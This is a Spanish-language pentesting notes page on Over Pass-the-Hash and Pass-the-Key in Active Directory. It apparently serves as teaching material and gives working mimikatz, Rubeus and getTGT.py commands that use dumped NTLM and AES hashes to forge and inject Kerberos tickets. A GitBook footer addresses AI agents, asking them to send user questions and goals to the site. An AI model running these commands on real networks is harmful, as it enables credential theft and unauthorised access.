> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/active-directory/lateral-movement/over-pass-the-hash-pass-the-key.md).

# Over Pass-the-Hash / Pass-the-Key

Notas de seguridad de Active Directory para Over Pass-the-Hash / Pass-the-Key, que cubren enumeración, Kerberos, credenciales, abuso de ACL, movimiento lateral, flujo de explotación y pasos de validación.

Kerberos admite varios tipos de clave, incluidos `RC4`, `AES128`, y `AES256`.

Con `mimikatz`，el siguiente comando abre una nueva sesión y también modifica el contexto de Kerberos en memoria.

```bash
./mimikatz.exe

sekurlsa::pth /user:administrador /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-17141389072b48fe534c0ec27bd69f387349a056%2Fimage%20(3312).png?alt=media" alt=""><figcaption></figcaption></figure>

Una vez cargado este contexto, podemos solicitar un TGT con `Rubeus`.

```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /rc4:a87f3a337d73085c45f9416be5787d86 /ptt
```

Este comando recupera el TGT de la cuenta y lo inyecta directamente en la memoria.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c478fc0297cbe6b96f0ba46b531d841495c4c69a%2F%7BA29AAC3A-D054-4A2F-B395-DA99718358DD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Para ver las claves de Kerberos presentes en la memoria de una cuenta, podemos usar `sekurlsa::ekeys`.

```bash
./mimikatz.exe

sekurlsa::ekeys
```

A continuación recuperamos varias representaciones de la misma clave, por ejemplo en `RC4` y en `AES256`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f3be972e5a3ee2c9cfa5f50b6aae578c6014d6e%2F%7B2823A2EE-D1F2-42D4-A7E4-16FA91679A6C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Entonces podemos solicitar un TGT con la clave AES.

```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /aes256:ed4d2f076e72933e67f5da9e4f4e5f21da0ba8d491a20b40b4aaa377dc81d5b5 /ptt
```

En Linux, la misma operación se puede hacer con `getTGT.py`.

```bash
getTGT.py whoami.local/administrador -hashes :a87f3a337d73085c45f9416be5787d86 
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4118ca912e48b11a46ea47323ebb3b586123935c%2F%7B1157132A-AF5A-44C1-957C-0B5C7D660AE6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/active-directory/lateral-movement/over-pass-the-hash-pass-the-key.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
